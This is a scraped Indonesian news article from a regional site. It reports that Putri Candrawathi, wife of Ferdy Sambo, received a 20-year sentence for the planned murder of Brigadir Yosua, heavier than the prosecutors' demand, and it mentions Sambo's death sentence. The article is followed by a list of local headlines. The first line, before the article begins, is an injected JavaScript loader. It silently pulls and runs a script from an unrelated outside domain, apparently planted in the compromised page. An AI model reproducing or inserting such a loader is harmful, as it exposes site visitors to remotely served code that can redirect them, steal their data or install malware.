(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Lebih Berat dari Tuntutan Jaksa, Istri Sambo Divonis 20 Tahun Penjara


KANALKALIMANTAN.COM, JAKARTA – Istri Ferdy Sambo, Putri Candrawathi divonis 20 tahun kurungan penjara oleh Majelis Hakim Pengadilan Negeri Jakarta Selatan (Jaksel) terkait pembunuhan berencana Brigadir Yosua Nofriansyah Hutabarat.

Keputusan tersebut jauh lebih berat dibandingkan tuntutan jaksa yang menuntut Putri Candrawathi dengan 8 tahun penjara.

“Menjatuhkan pidana terhadap terdakwa Putri Candrawathi dengan pidana 20 tahun penjara,” kata Ketua Majelis Hakim Wahyu Iman Santoso dalam persidangan, Senin (13/2/2023).

Saat membacakan putusan, Majelis Hakim Pengadilan Negeri Jakarta Selatan sempat jeda terdiam sejenak. Lalu hakim menegaskan bahwa tidak ada hal yang meringan bagi Putri.

 

Baca juga: Ferdy Sambo Divonis Mati, ‘Kado’ di Usia 50 Tahun

“Hal-hal yang meringankan, tidak ada,” kata Ketua Majelis Hakim Wahyu Iman Santoso dalam persidangan.

Hal yang memberatkan, terdakwa selaku istri Kadiv Propam sekaligus pengurus pusat Bhayangkari. Sebagai Bendahara Umum seharusnya menjadi contoh tauladan anggota Bhayangkari lainnya sebagai pendamping suami.

Sebelumnya, majelis hakim telah memutus vonis mati kepada Ferdy Sambo yang disebut telah melakukan pembunuhan berencana terhadap pembunuhan Brigadir J.

Sebelumnya, Sambo lebih dulu divonis bersalah menjadi dalang pembunuhan berencana terhadap sang ajudan Brigadir J.

Vonis itu ditetapkan majelis hakim dan dibacakan oleh Hakim Ketua Wahyu Imam Santoso dalam persidangan di Pengadilan Negeri Jakarta Selatan, Senin (13/2/2023) siang ini.

Baca juga: Hadiri Peringatan HPN 2023, Ini Harapan Bupati Kapuas

“Dengan mempertimbangkan seluruh bukti maupun fakta persidangan, majelis hakim memutuskan Ferdy Sambo bersalah,” kata Ketua Majelis Hakim Wahyu Imam Santoso.

Dalam vonisnya, majelis hakim bersepakat Ferdy Sambo dihukum mati. (Kanalkimantan/Suara.com)

Editor: kk


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.